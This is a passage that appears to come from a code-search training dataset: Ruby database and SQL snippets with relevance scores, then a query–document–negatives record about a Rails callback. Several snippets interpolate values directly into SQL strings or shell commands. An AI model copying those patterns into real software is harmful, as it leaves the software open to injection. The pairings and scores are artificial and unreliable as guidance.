"def mash(name,location)\n begin\n candidates = findCandidates(name, location, database) \n puts \"Found #{candidates.size}\" if BEHAVIOUR[:verbose]\n candidate = topCandidates(candidates, 1)[0]\n if candidate then\n if candidate[:lastfm] then\n puts \"#{candidate[:lastfm][:id]},#{candidate[:lastfm][:name]}\" if BEHAVIOUR[:verbose]\n puts \"#{candidate[:geonames][:id]},#{candidate[:geonames][:name]},#{candidate[:geonames][:fcode]},#{candidate[:geonames][:country]}\" if BEHAVIOUR[:verbose ]\n puts \"#{candidate[:jaro]}\" if BEHAVIOUR[:verbose]\n puts \"#{candidate[:distance]}\" if BEHAVIOUR[:verbose]\n puts \"=====\" if BEHAVIOUR[:verbose]\n stmt = LOCATIONS.prepare( \"insert into locations (name,location,lastfm_id,lastfm_name,geo_id,geo_name,geo_fcode,geo_country,jaro,distance) values (?,?, ?,?,?,?,?,?,?,?)\" )\n stmt.execute(name,location,\n candidate[:lastfm][:id], candidate[:lastfm][:name],\n candidate[:geonames][:id], candidate[:geonames][:name],\n candidate[:geonames][:fcode], candidate[:geonames][:country],\n candidate[:jaro],candidate[:distance])\n puts \"Inserted\" if BEHAVIOUR[:debug]\n else \n puts \"#{candidate[:geonames][:id]},#{candidate[:geonames][:name]},#{candidate[:geonames][:fcode]},#{candidate[:geonames][:country]}\" if BEHAVIOUR[:verbose]\n puts \"=====\" if BEHAVIOUR[:verbose]\n stmt = LOCATIONS.prepare( \"insert into locations (name,location,geo_id,geo_name,geo_fcode,geo_country,jaro,distance) values (?,?,?,?,?,?,?,?)\" )\n stmt.execute(name,location,candidate[:geonames][:id], candidate[:geonames][:name],\n candidate[:geonames][:fcode],candidate[:geonames][:country])\n \n end\n else\n # No candidate. Stick blanks into db. \n stmt = LOCATIONS.prepare( \"insert into locations (name,location,lastfm_id,geo_id) values (?,?,?,?)\" )\n stmt.execute(name,location,\"-----\",\"-----\")\n end\n rescue Exception => ex\n puts \"Problem: #{ex.inspect}\"\n end\nend",
"def test_002\n target_sql = \"select shipments.number as shipment_number,\nvariants.sku as sku,\nvariants.price as price,\nvariants.weight as weight,\nvariants.height as height,\nvariants.width as width,\nvariants.depth as length,\nproducts.description as product_description,\norders.number as order_number\nfrom orders\njoin shipments on (shipments.order_id = orders.id)\njoin line_items on (line_items.order_id = orders.id)\njoin variants on (line_items.variant_id = variants.id)\njoin products on (variants.product_id = products.id)\njoin state_events on (state_events.stateful_id = orders.id and state_events.name = 'payment' and state_events.stateful_type = 'Order' and state_events.next_state in ('paid','credit_owed'))\nwhere orders.state = 'complete' and orders.shipment_state = 'ready' and state_events.created_at >= '2012-10-01' and state_events.created_at <= '2015-03-08' and shipments.warehouse_id = 28\"\n \n @sql.select do\n shipments number: 'shipment_number'\n variants :sku, :price, :weight, :height, :width, depth: 'length'\n products description: 'product_description'\n orders number: 'order_number'\n end\n \n @sql.from :orders do\n join :shipments, on: 'shipments.order_id = orders.id'\n join :line_items, on: 'line_items.order_id = orders.id'\n join :variants, on: 'line_items.variant_id = variants.id'\n join :products, on: 'variants.product_id = products.id'\n join :state_events do\n state_events stateful_id: :'orders.id',\n name: 'payment',\n stateful_type: 'Order',\n next_state: %w(paid credit_owed)\n end\n end\n\n begin_date = '2012-10-01'\n end_date = '2015-03-08'\n warehouse_id = 28\n \n @sql.where do\n orders state: 'complete', shipment_state: 'ready'\n \n con '>=' do\n state_events created_at: begin_date\n end\n con '<=' do\n state_events created_at: end_date\n end\n \n shipments warehouse_id: warehouse_id\n end\n\n assert_equal @sql.to_s, target_sql\n end",
"def add_sql_data\n sql = {}\n databases.each do |db|\n sql[db] = {}\n sql[db][:create_query] = create_queries[db]\n sql[db][:import_query] = import_queries[db]\n end\n return sql\n end",
"def execute\n # build the query string\n # run the query\n # return the results\n end",
"def query\n end",
"def target_sql_mode=(_arg0); end",
"def to_sql\n @sql ||= case @kind\n when :target, :comp_op, :bin_bool_op, :term\n child(0).to_sql\n when :target_set\n # array of fragments, one per target\n [child(0).to_sql] + (child(1) ? child(2).to_sql : [])\n when :qual_term\n # child(2) will be an array (target_set)\n \"(\" + child(2).to_sql.collect{|sql| comparison(child(0), child(1).child(0), sql)}.join(\" OR \") + \")\"\n when :unqual_term\n \"(\" + default_quals.collect{|q| comparison(q, EQUAL_TOKEN, child(0).to_sql)}.join(\" OR \") + \")\"\n when :query\n # first form\n if child(0).is?(:lparen)\n @children.collect{|c| c.to_sql}.join\n # second form\n elsif child(1) && child(1).is?(:bin_bool_op)\n @children.collect{|c| c.to_sql}.join(\" \")\n # third form\n elsif child(1) && child(1).is?(:query)\n child(0).to_sql + \" AND \" + child(1).to_sql\n # fourth form\n else\n child(0).to_sql\n end\n end\n end",
"def db; end",
"def db; end",
"def create_potential_home_buyer(db, name, age, job_title, salary)\n\tdb.execute(\"INSERT INTO potential_home_buyer (name, age, job_title, salary) VALUES (?, ?, ?, ?)\", [name, age, job_title, salary])\nend",
"def insert_reward_transaction\n limit_row = \" LIMIT #{@limit_export}\" unless limit_export.blank?\n @client.execute(\"select TOP #{@limit_export} * from HstvbofqAssignmentReward INNER JOIN HstvbofqAssignment\n ON HstvbofqAssignmentID = HstvbofqAssignmentReward.FKHstvbofqAssignmentID where Proposed ='true' AND QueueRewards = 'true'\").each do |rs|\n\n assingment_date_time = rs[\"AssignmentDateTime\"]\n activity_datetime = rs[\"ActivityDateTime\"]\n program_id = rs[\"FKHstvbofqRewardProgramID\"]\n store_id = rs['FKStoreID']\n\n reward_relevant = Reward.where(:bpid => program_id).first\n reward_id = reward_relevant.id unless reward_relevant.blank?\n restaurant_id = Restaurant.where(:ncr_aloha_loyalty_store_id => store_id.to_s).first\n\n\n ## insert the count of the reward summaries\n unless restaurant_id.blank? and reward_id.blank?\n # update the summary\n rsum = RewardSummary.where(\"transaction_date = date('#{assingment_date_time}') and restaurant_id = ?\", restaurant_id.id).first\n if rsum.blank?\n RewardSummary.create(:transaction_date => assingment_date_time.to_date,\n :total => 1, :restaurant_id => restaurant_id.id, :chain_id => @chain_id)\n else\n rsum.update_attribute(:total, rsum.total + 1)\n end\n\n ## insert the detail here\n ActiveRecord::Base.connection.execute(\"\n INSERT INTO reward_transaction_ncrs\n (activity_datetime,assignment_datetime, code, reward_id, chain_id, restaurant_id, created_at, updated_at)\n VALUES\n ('#{activity_datetime}','#{assingment_date_time}','',\n'#{reward_id}','#{@chain_id}','#{restaurant_id.id}', '#{Time.now}', '#{Time.now}')\n \")\n end\n end\n end",
"def make!\n select_transactions!\n @transactions.each do |transaction|\n vh = VersionHistory.new(transaction.version, transaction.comment)\n VersionHistory.insert(vh)\n DbRegistry.instance.execute_batch(transaction.data)\n end\n end",
"def query(query_definition)\n return\n end",
"def create_breed(breed, price)\n @db.exec(%q[\n INSERT INTO breeds (breed, price)\n VALUES ($1, $2);\n ], [breed, price])\n end",
"def transactions_to_db\n\n end",
"def set_bulkcopy (query, dbname, status )\n begin\n unless( query.sql_norow(\"use master\") ) then\n return false\n end\n query.sql(\"exec sp_dboption #{dbname},'select into/bulkcopy',#{status}\")\n return false unless (query.cmd_done? )\n return false if( query.top_status_result != 0 )\n\n unless( query.sql_norow(\"use #{dbname}\") ) then\n return false \n end\n unless( query.sql_norow(\"checkpoint\") ) then\n return false\n end\n rescue\n return false\n else\n return true\n end\nend",
"def define_vars(db)\n$ailments = db.execute(\"SELECT * FROM ailments\")\n\n$health = db.execute(\"SELECT health.id, health.dt, health.phys_stat, health.ment_stat, health.steps, health.ailment_cmt, ailments.ailment FROM ailments JOIN health on ailments.id = health.ailment ORDER BY HEALTH.ID DESC\")\n\n$weeks_health = db.execute(\"SELECT health.id, health.dt, health.phys_stat, health.ment_stat, health.steps, health.ailment_cmt, ailments.ailment FROM ailments JOIN health on ailments.id = health.ailment ORDER BY HEALTH.ID DESC LIMIT 7\")\n\n$months_health = db.execute(\"SELECT health.id, health.dt, health.phys_stat, health.ment_stat, health.steps, health.ailment_cmt, ailments.ailment FROM ailments JOIN health on ailments.id = health.ailment ORDER BY HEALTH.ID DESC LIMIT 30\")\nend",
"def db(*args); data(1, args); end",
"def sample\r\n\t#add 2 test authors\r\n\tlib.execute(\"INSERT INTO authors (l_name, f_name) VALUES ('Robinson', 'Kit')\")\r\n\tlib.execute(\"INSERT INTO authors (l_name, f_name) VALUES ('Lancaster', 'Blythe')\")\r\n\t#add 3 test books\r\n\tlib.execute(\"INSERT INTO books (title, author_id, section, on_shelf) VALUES ('Goodmight Noon', 1, 'Childrens', 'true')\")\r\n\tlib.execute(\"INSERT INTO books (title, author_id, section, on_shelf) VALUES ('Leo the Lapp', 1, 'Childrens', 'true')\")\r\n\tlib.execute(\"INSERT INTO books (title, author_id, section, on_shelf) VALUES ('The Hermaneutical Bealgeshichte', 2, 'Philosophy', 'true')\")\r\n\tputs \"added the minimal sample:\"\r\n\t#output the joined list\r\n\tjoinlist = lib.execute(\"SELECT * FROM books JOIN authors ON books.author_id = authors.id\")\r\n\tjoinlist.each do |book|\r\n\t\tputs \"#{book['title']} by #{book['l_name']} is a #{book['section']} book.\"\r\n\tend\r\nend",
"def setup ()\n db = HTPH::Hathidb::Db.new();\n @conn = db.get_conn();\n @bench = HTPH::Hathibench::Benchmark.new();\n last_id_sql = \"SELECT LAST_INSERT_ID() AS id\";\n str_exist_sql = \"SELECT id, str FROM hathi_str WHERE str = ?\";\n str_insert_sql = \"INSERT INTO hathi_str (str) VALUES (?)\";\n hathi_gd_insert_sql = \"INSERT INTO hathi_gd (gov_doc, file_id, lineno, mongo_id, hashsum, record_id, item_id) VALUES (?, ?, ?, ?, ?, ?, ?)\";\n input_select_sql = \"SELECT id FROM hathi_input_file WHERE file_path = ?\";\n input_insert_sql = \"INSERT INTO hathi_input_file (file_path, date_read) VALUES (?, SYSDATE())\";\n\n @last_id_q = @conn.prepare(last_id_sql);\n @str_exist_q = @conn.prepare(str_exist_sql);\n @str_insert_q = @conn.prepare(str_insert_sql);\n @hathi_gd_insert_q = @conn.prepare(hathi_gd_insert_sql);\n @input_select_q = @conn.prepare(input_select_sql);\n @input_insert_q = @conn.prepare(input_insert_sql);\n\n @sha_digester = Digest::SHA256.new();\n\n @loadfiles = {}; # Write tab-delim data, and when all is done, load into table.\n %w[isbn issn lccn oclc title enumc pubdate publisher sudoc].each do |suffix|\n @loadfiles[suffix] = HTPH::Hathidata::Data.new(\"#{suffix}.dat\");\n end\n\n @infile_cache = {};\nend",
"def db_fetch\n \"SELECT *\" + from_table_where + sql_match_conditions\n end",
"def db_custom_query(query)\n db = open_create_db\n\n if db\n result = db.execute(query)\n end\n db.close\n return result\n end",
"def burger\n sql = \"\n SELECT burgers.* FROM deals\n INNER JOIN burgers\n ON deals.burger_id = burgers.id\n INNER JOIN restaurants\n ON burgers.restaurant_id = restaurants.id\n WHERE deals.id = $1\n \"\n values = [@id]\n result = SqlRunner.run(sql, values).first\n return Burger.new(result)\n end",
"def save()\n #connect to database\n db = PG.connect({ dbname: 'bounty_hunters', host: 'localhost' })\n #write big long SQL string\n sql = \"INSERT INTO bounties\n (\n name,\n species,\n bounty_value,\n favourite_weapon\n )\n VALUES\n ($1, $2, $3, $4)\"\n\n #make array of values for prepared statement\n values = [@name, @species, @bounty_value, @favourite_weapon]\n #prepare statement\n db.prepare(\"save\", sql)\n #exec statement\n db.exec_prepared(\"save\", values)\n #close link to db\n db.close()\n end",
"def perform\n qe = QueryExecutor.new(map, reduce,functions, query_id.to_s, filter)\n results = qe.execute\n result = Result.new results\n result.query = Query.find(query_id)\n result.save!\n end",
"def perform\n start_time = Time.now\n\n args, opts = @arguments, @options\n [:to, :from, :to_safe, :exclude].each do |opt|\n opts[opt] ||= config[opt.to_s]\n end\n command = args[0]\n\n if command == \"setup\"\n setup\n else\n source = parse_source(opts[:from])\n abort \"No source\" unless source\n source_uri = parse_uri(source)\n\n destination = parse_source(opts[:to])\n abort \"No destination\" unless destination\n destination_uri = parse_uri(destination)\n abort \"Danger! Add `to_safe: true` to `.pgsync.yml` if the destination is not localhost or 127.0.0.1\" unless %(localhost 127.0.0.1).include?(destination_uri.host) || opts[:to_safe]\n\n print_uri(\"From\", source_uri)\n print_uri(\"To\", destination_uri)\n\n if args[0] == \"schema\"\n time =\n benchmark do\n puts \"* Dumping schema\"\n tables = to_arr(args[1]).map { |t| \"-t #{t}\" }.join(\" \")\n dump_command = \"pg_dump --verbose --schema-only --no-owner --no-acl --clean #{tables} #{to_url(source_uri)}\"\n restore_command = \"psql -q -d #{to_url(destination_uri)}\"\n system(\"#{dump_command} | #{restore_command}\")\n end\n\n puts \"* DONE (#{time.round(1)}s)\"\n else\n from_uri = source_uri\n to_uri = destination_uri\n\n tables =\n if args[0] == \"groups\"\n specified_groups = to_arr(args[1])\n specified_groups.map do |group|\n if (tables = config[\"groups\"][group])\n tables\n else\n abort \"Group not found: #{group}\"\n end\n end.flatten\n elsif args[0] == \"tables\"\n to_arr(args[1])\n elsif args[0]\n to_arr(args[0])\n else\n nil\n end\n\n with_connection(from_uri, timeout: 3) do |conn|\n tables ||= self.tables(conn, \"public\") - to_arr(opts[:exclude])\n\n tables.each do |table|\n unless table_exists?(conn, table, \"public\")\n abort \"Table does not exist in source: #{table}\"\n end\n end\n end\n\n with_connection(to_uri, timeout: 3) do |conn|\n tables.each do |table|\n unless table_exists?(conn, table, \"public\")\n abort \"Table does not exist in destination: #{table}\"\n end\n end\n end\n\n Parallel.each(tables) do |table|\n time =\n benchmark do\n with_connection(from_uri) do |from_connection|\n with_connection(to_uri) do |to_connection|\n bad_fields = config[\"data_rules\"]\n\n from_fields = columns(from_connection, table, \"public\")\n to_fields = columns(to_connection, table, \"public\")\n shared_fields = to_fields & from_fields\n extra_fields = to_fields - from_fields\n missing_fields = from_fields - to_fields\n\n from_sequences = sequences(from_connection, table, shared_fields)\n to_sequences = sequences(to_connection, table, shared_fields)\n shared_sequences = to_sequences & from_sequences\n extra_sequences = to_sequences - from_sequences\n missing_sequences = from_sequences - to_sequences\n\n where = opts[:where]\n\n @mutex.synchronize do\n puts \"* Syncing #{table}\"\n if where\n puts \" #{where}\"\n where = \" WHERE #{opts[:where]}\"\n end\n puts \"EXTRA COLUMNS: #{extra_fields}\" if extra_fields.any?\n puts \"MISSING COLUMNS: #{missing_fields}\" if missing_fields.any?\n puts \"EXTRA SEQUENCES: #{extra_sequences}\" if extra_sequences.any?\n puts \"MISSING SEQUENCES: #{missing_sequences}\" if missing_sequences.any?\n end\n\n if shared_fields.empty?\n abort \"No fields to copy: #{table}\"\n end\n\n copy_fields = shared_fields.map { |f| f2 = bad_fields.to_a.find { |bf, bk| rule_match?(table, f, bf) }; f2 ? \"#{apply_strategy(f2[1], f, from_connection)} AS #{escape_identifier(f)}\" : escape_identifier(f) }.join(\", \")\n fields = shared_fields.map { |f| escape_identifier(f) }.join(\", \")\n\n seq_values = {}\n shared_sequences.each do |seq|\n seq_values[seq] = from_connection.exec(\"select last_value from #{seq}\").to_a[0][\"last_value\"]\n end\n\n # use transaction to revert statement timeout\n begin\n from_connection.transaction do |fconn|\n fconn.exec(\"SET statement_timeout = 0\")\n to_connection.exec(\"TRUNCATE #{table} CASCADE\")\n to_connection.copy_data \"COPY #{table} (#{fields}) FROM STDIN\" do\n fconn.copy_data \"COPY (SELECT #{copy_fields} FROM #{table}#{where}) TO STDOUT\" do\n while row = fconn.get_copy_data\n to_connection.put_copy_data(row)\n end\n end\n end\n seq_values.each do |seq, value|\n to_connection.exec(\"SELECT setval(#{escape(seq)}, #{escape(value)})\")\n end\n raise PgSync::Rollback\n end\n rescue PgSync::Rollback\n # success\n end\n end\n end\n end\n\n @mutex.synchronize do\n puts \"* DONE #{table} (#{time.round(1)}s)\"\n end\n end\n\n time = Time.now - start_time\n puts \"Completed in #{time.round(1)}s\"\n end\n end\n true\n end",
"def fake_sql(message, args)\n args = args.tr(',&', ' ')\n terms = args.split[1..-1]\n argv = []\n terms.each do |term|\n m = /(\\w+)(=|==|>|>=|<|<=|!=|\\.like\\.|\\.include\\.)(\\w+)/.match(term)\n next unless m\n argv << {:key => m[1].downcase, :operator => m[2].downcase, :value => m[3].downcase}\n end\n\n p argv\n m = Monster.all\n #handle with sql\n argv.each do |arg|\n key = arg[:key]\n if ['stars', 'cost'].include?(key)\n op = {'=' => 'to_sym', '==' => 'to_sym', '>' => 'gt', '<' => 'lt', '>=' => 'gte', '<=' => 'lte', '!=' => 'not'}[arg[:operator]]\n m = m.all({key.to_sym.send(op) => arg[:value]})\n elsif ['atk', 'hp', 'rcv'].include?(key)\n op = {'=' => 'to_sym', '==' => 'to_sym', '>' => 'gt', '<' => 'lt', '>=' => 'gte', '<=' => 'lte', '!=' => 'not'}[arg[:operator]]\n m = m.all({\"#{key}_max\".to_sym.send(op) => arg[:value]})\n elsif key == 'leader'\n if arg[:operator] == \".like.\"\n m = m.all(:leader_text.like => arg[:value])\n elsif arg[:operator] == \".include\"\n m = m.all(:leader_text.like => \"%#{arg[:value]}%\")\n elsif arg[:operator] == \"=\" || arg[:operator] == \"==\"\n m = m.all(:leader_text => arg[:value])\n end\n elsif key == 'active'\n if arg[:operator] == \".like.\"\n m = m.all(:skill_text.like => arg[:value])\n elsif arg[:operator] == \".include\"\n m = m.all(:skill_text.like => \"%#{arg[:value]}%\")\n elsif arg[:operator] == \"=\" || arg[:operator] == \"==\"\n m = m.all(:skill_text => arg[:value])\n end \n end\n end\n # handle in ruby, convert relation to array\n argv.each do |arg|\n key = arg[:key]\n if key == 'type' || key == 'types'\n if ['=', '==', '.include.'].include? arg[:operator]\n m = m.select{|monster| monster.types.map(&:downcase).include?(arg[:value].downcase)}\n end \n elsif key == 'awakenings' || key == 'awakening'\n awakening = Awakening.find_by_name(arg[:value].tr('-_:', ' '))\n next if awakening.nil?\n if ['=', '==', '.include.'].include? arg[:operator]\n m = m.select{|monster| monster.awakenings.include?(awakening.id)}\n end\n elsif key == 'element' || key == 'elements'\n if ['=', '==', '.include.'].include? arg[:operator]\n m = m.select{|monster| monster.element.split(\"/\").map(&:downcase).include?(arg[:value].downcase)}\n end \n end\n end\n\n terms.each do |term|\n if term.downcase == \"evolved\"\n m = m.select{|monster| monster.evolved.nil?}\n elsif term.downcase == \"padherder\" || term.downcase == \"herder\"\n user_owned = get_box(message.user.nick)\n if user_owned.nil?\n message.reply \"Failed to establish padherder API link for #{message.user.nick}.\" and return\n end\n m = m.select{|monster| user_owned.include?(monster.id)}\n end\n end\n\n results = m\n \n if message.channel && results.count >= 15\n message.reply \"Query matched #{results.count} records; please refine or PM me out of channel.\"\n else\n lead = \"Query\"\n message.reply \"#{lead}: #{results.map{|r| list_monster(r)}.join('; ')}\"\n end\n end",
"def perform_query(query, operand)\n# STDERR.puts \"perform_query(q '#{query}', op '#{operand}')\"\n records = []\n\t\t \n if operand.is_a?(DataMapper::Query::Conditions::NotOperation)\n#\tSTDERR.puts \"operand is a NOT operation\"\n\tsubject = operand.first.subject\n\tvalue = operand.first.value\n elsif operand.subject.is_a?(DataMapper::Associations::ManyToOne::Relationship)\n#\tSTDERR.puts \"operand subject is a many-to-one relation: '#{operand.subject.inspect}'\"\n\tif operand.subject.parent_model == NamedQuery && operand.subject.child_model == Bug\n\t name = operand.value[operand.subject.parent_key.first.name]\n\t bugs = named_query(name)\n\t bugs.each do |bug|\n\t records << bug_to_record(query.model, bug)\n\t end\n\t return records\n\telse\n\t raise \"Unknown parent (#{operand.subject.parent_model}) child (#{operand.subject.child_model}) relation\"\n\tend\n else\n#\tSTDERR.puts \"operand is normal\"\n\tsubject = operand.subject\n\tvalue = operand.value\n end\n \n if subject.is_a?(DataMapper::Associations::ManyToOne::Relationship)\n#\tSTDERR.puts \"subject is a many-to-one relation\"\n\tsubject = subject.child_key.first\n end\n \n # typical queries\n #\n \n# STDERR.puts \"perform_query(subject '#{subject.inspect}', value '#{value.inspect}')\"\n case query.model.name\n when \"Bug\"\n\tif query.model.key.include?(subject)\n\t # get single <bug>\n\t bugs = get_bugs(value)\n\t records << bug_to_record(query.model, bugs.first)\n\telse\n\t raise \"Unknown query for bug\"\n\tend\n when \"NamedQuery\"\n\trecords << { subject.name.to_s => value }\n\t# be lazy: do the actual named query when NamedQuery#bugs gets accessed\n else\n\traise \"Unsupported model '#{query.model.name}'\"\n end\n \n records\n end",
"def write_db(entry_hash)\n formatted = format_hash(entry_hash)\n v_fname = formatted[\"fname\"] # prepare data from entry_hash for database insert\n v_lname = formatted[\"lname\"]\n v_addr = formatted[\"addr\"]\n v_city = formatted[\"city\"]\n v_state = formatted[\"state\"]\n v_zip = formatted[\"zip\"]\n v_mobile = formatted[\"mobile\"]\n v_home = formatted[\"home\"]\n v_work = formatted[\"work\"]\n begin\n conn = open_db() # open database for updating\n max_id = conn.exec(\"select max(id) from listings\")[0] # determine current max index (id) in details table\n max_id[\"max\"] == nil ? v_id = 1 : v_id = max_id[\"max\"].to_i + 1 # set index variable based on current max index value\n conn.prepare('q_statement',\n \"insert into listings (id, fname, lname, addr, city, state, zip, mobile, home, work)\n values($1, $2, $3, $4, $5, $6, $7, $8, $9, $10)\") # bind parameters\n conn.exec_prepared('q_statement', [v_id, v_fname, v_lname, v_addr, v_city, v_state, v_zip, v_mobile, v_home, v_work])\n conn.exec(\"deallocate q_statement\")\n rescue PG::Error => e\n puts 'Exception occurred'\n puts e.message\n ensure\n conn.close if conn\n end\n return formatted\nend",
"def to_script\n s = TRANSACTION_START[db_type].dup\n s << \"\\n\"\n rows.each {|r| s << r.insert_sql(db_type) }\n s << \"#{TRANSACTION_END[db_type]}\\n\"\n s\n end",
"def prepare_command(query_path)\n options = []\n OPTION_MAPPING.each do |option, value_lambda|\n options << value_lambda.call(self.send(option)) if self.send(option)\n end\n \n command = \"#{@blast_command} -query #{query_path} #{options.compact.join(\" \")}\"\n end",
"def db_to_file(src, dest)\n pool = Connections.init_pool src\n query_stream = QueryStream.new pool\n file_writer = FileWriter.new dest\n\n Pipe.new from: query_stream, to: file_writer\n end",
"def build_database(file, database_user_key,database_movie_key)\n file.each do |line| \n\t\t\ttokens=line.split(\"\\t\")\n\t\t\tuser_id=tokens[0]\n\t\t\tmovie_id=tokens[1]\n\t\t\trate_score=tokens[2]\n\t\t\tadd_entry(database_user_key,user_id,movie_id,rate_score)\n\t\t\tadd_entry(database_movie_key,movie_id,user_id,rate_score)\n end \n end",
"def query(args = {})\n initialize_query unless initialized?\n\n our_select = args[:select] || \"DISTINCT #{model.table_name}.id\"\n our_join = join.dup\n our_join += args[:join] if args[:join].is_a?(Array)\n our_join << args[:join] if args[:join].is_a?(Hash)\n our_join << args[:join] if args[:join].is_a?(Symbol)\n our_tables = tables.dup\n our_tables += args[:tables] if args[:tables].is_a?(Array)\n our_tables << args[:tables] if args[:tables].is_a?(Symbol)\n our_from = calc_from_clause(our_join, our_tables)\n our_where = where.dup\n our_where += args[:where] if args[:where].is_a?(Array)\n our_where << args[:where] if args[:where].is_a?(String)\n our_where = calc_where_clause(our_where)\n our_group = args[:group] || group\n our_order = args[:order] || order\n our_order = reverse_order(order) if our_order == :reverse\n our_limit = args[:limit]\n\n # Tack id at end of order to disambiguate the order.\n # (I despise programs that render random results!)\n if our_order.present? &&\n !our_order.match(/.id( |$)/)\n our_order += \", #{model.table_name}.id DESC\"\n end\n\n sql = %(\n SELECT #{our_select}\n FROM #{our_from}\n )\n sql += \" WHERE #{our_where}\\n\" if our_where.present?\n sql += \" GROUP BY #{our_group}\\n\" if our_group.present?\n sql += \" ORDER BY #{our_order}\\n\" if our_order.present?\n sql += \" LIMIT #{our_limit}\\n\" if our_limit.present?\n\n @last_query = sql\n sql\n end",
"def multi_query_builder\n\n query = \"\n SELECT\n #{select_arr.join(\",\\n\\t\")}\n FROM \\t#{groups.first.parent_table}\n #{pk_join_arr.join(\"\\n\")}\n #{fk_join_arr.join(\"\\n\")};\"\n\n return query\n end",
"def execute(query)\n CellSet.new @connection.create_statement.execute_olap_query(query.to_s)\n end",
"def sql\n <<-SQL\n -- Search learning paths\n SELECT DISTINCT\n c.id,\n c.name,\n c.course_code,\n c.settings,\n cc.content,\n 'learning_path' AS content_type,\n c.id AS learning_path_id,\n 0 AS learning_objective_id\n FROM courses c\n LEFT OUTER JOIN fearless_taggings ts\n ON ts.taggable_id = c.id AND ts.taggable_type = 'LearningPath'\n LEFT OUTER JOIN fearless_tags t\n ON t.id = ts.tag_id\n LEFT OUTER JOIN fearless_custom_contents cc\n ON cc.contentable_id = c.id AND cc.contentable_type = 'LearningPath'\n WHERE 0=0\n #{construct_account_clause}\n #{construct_course_worklow_clause}\n #{construct_name_sql}\n #{construct_all_tags_search('t', 'name')}\n UNION ALL\n -- Search learning objectives\n SELECT DISTINCT\n cm.id,\n cm.name,\n c.course_code,\n c.settings,\n cc.content,\n 'learning_objective' AS content_type,\n cm.context_id::bigint AS learning_path_id,\n cm.id::bigint AS learning_objective_id\n FROM context_modules cm\n INNER JOIN courses c\n ON c.id = cm.context_id\n AND cm.context_type = 'Course'\n LEFT OUTER JOIN fearless_taggings ts\n ON ts.taggable_id = cm.id AND ts.taggable_type = 'LearningObjective'\n LEFT OUTER JOIN fearless_tags t\n ON t.id = ts.tag_id\n LEFT OUTER JOIN fearless_custom_contents cc\n ON cc.contentable_id = cm.id AND cc.contentable_type = 'LearningObjective'\n WHERE 0=0\n #{construct_account_clause}\n #{construct_generic_workflow_clause('cm')}\n #{construct_name_sql('cm')}\n #{construct_all_tags_search('t', 'name')}\n UNION ALL\n -- Search learning learning_event\n SELECT DISTINCT\n ct.id,\n ct.title AS name,\n c.course_code,\n c.settings,\n cc.content,\n 'learning_event' AS content_type,\n ct.context_id::bigint AS learning_path_id,\n ct.context_module_id::bigint AS learning_objective_id\n FROM content_tags ct\n INNER JOIN courses c\n ON c.id = ct.context_id\n AND ct.context_type = 'Course'\n LEFT OUTER JOIN fearless_taggings ts\n ON ts.taggable_id = ct.id AND ts.taggable_type = 'LearningEvent'\n LEFT OUTER JOIN fearless_tags t\n ON t.id = ts.tag_id\n LEFT OUTER JOIN fearless_custom_contents cc\n ON cc.contentable_id = ct.id AND cc.contentable_type = 'LearningEvent'\n WHERE 0=0\n #{construct_account_clause}\n #{construct_generic_workflow_clause('ct')}\n #{construct_name_sql('ct', 'title')}\n #{construct_all_tags_search('t', 'name')}\n SQL\n end",
"def insert_in_database\n Fetch.new(insertion_query).array\n end",
"def snapshots_redact_sql_queries; end",
"def test_update_database_destination\n row = ETL::Row[:id => 1, :first_name => 'Bob', :last_name => 'Smith', :ssn => '111234444']\n control = ETL::Control.parse(File.dirname(__FILE__) +\n '/delimited_update.ctl')\n\n Person.delete_all\n assert_equal 0, Person.count\n test_database_destination\n\n # First define a basic configuration to check defaults\n configuration = {\n :type => :update_database,\n :target => :data_warehouse,\n :database => 'etl_unittest',\n :table => 'people',\n :buffer_size => 0\n }\n mapping = {\n :conditions => [{:field => \"\\#{conn.quote_column_name(:id)}\", :value => \"\\#{conn.quote(row[:id])}\", :comp => \"=\"}],\n :order => [:id, :first_name, :last_name, :ssn]\n }\n dest = ETL::Control::UpdateDatabaseDestination.new(control, configuration, mapping)\n dest.write(row)\n dest.close\n\n assert_equal 1, Person.find(:all).length\n\n end",
"def launch_query_command(query:)\n @db.query(query, as: :hash)\n end"
] |
[
"0.76542264",
"0.62342674",
"0.6004211",
"0.5931667",
"0.57991505",
"0.5712789",
"0.5599148",
"0.5586061",
"0.5571026",
"0.5544832",
"0.55104125",
"0.55101055",
"0.54857016",
"0.53862256",
"0.53532094",
"0.53528064",
"0.5336783",
"0.5306926",
"0.5299666",
"0.52707386",
"0.52706724",
"0.5259928",
"0.5252127",
"0.5246994",
"0.5236707",
"0.5235721",
"0.5226627",
"0.5225947",
"0.5196399",
"0.51697636",
"0.5169693",
"0.5167163",
"0.5162854",
"0.5153489",
"0.51522213",
"0.51381093",
"0.5110521",
"0.51010245",
"0.5087992",
"0.50872284",
"0.50863993",
"0.5084777",
"0.50676465",
"0.50638473",
"0.50638473",
"0.5060144",
"0.5054589",
"0.50542235",
"0.5046525",
"0.504604",
"0.5044906",
"0.50440687",
"0.5040249",
"0.50192356",
"0.50028634",
"0.49998498",
"0.49998248",
"0.49877188",
"0.498182",
"0.4981217",
"0.4978233",
"0.49767894",
"0.49752617",
"0.4970234",
"0.4967614",
"0.4945938",
"0.49446553",
"0.49446553",
"0.49319628",
"0.49276915",
"0.4925807",
"0.49232373",
"0.49174848",
"0.49166626",
"0.49163735",
"0.4915889",
"0.49157742",
"0.49101785",
"0.49097127",
"0.4906255",
"0.49059394",
"0.48891902",
"0.4881736",
"0.48790854",
"0.48788145",
"0.48784328",
"0.48681682",
"0.48637322",
"0.48592257",
"0.4858521",
"0.48513234",
"0.48511797",
"0.48277",
"0.48271328",
"0.4822563",
"0.4822263",
"0.4819326",
"0.48133042",
"0.48108238",
"0.48068345"
] |
0.73802865
|
1
|
Use callbacks to share common setup or constraints between actions.
|
def set_post
@question = Question.find(params[:id])
end
|
{
"objective": {
"self": [],
"paired": [],
"triplet": [
[
"query",
"document",
"negatives"
]
]
}
}
|
[
"def set_required_actions\n # TODO: check what fields change to asign required fields\n end",
"def action_hook; end",
"def run_actions; end",
"def define_action_hook; end",
"def actions; end",
"def define_action_helpers\n if super && action == :save\n @instance_helper_module.class_eval do\n define_method(:valid?) do |*args|\n self.class.state_machines.fire_event_attributes(self, :save, false) { super(*args) }\n end\n end\n end\n end",
"def add_actions; end",
"def callbacks; end",
"def callbacks; end",
"def setup *actions, &proc\n (@setup_procs ||= []) << [proc, actions.size > 0 ? actions : [:*]]\n end",
"def define_action_helpers; end",
"def post_setup\n end",
"def action_methods; end",
"def action_methods; end",
"def action_methods; end",
"def before_setup; end",
"def action_run\n end",
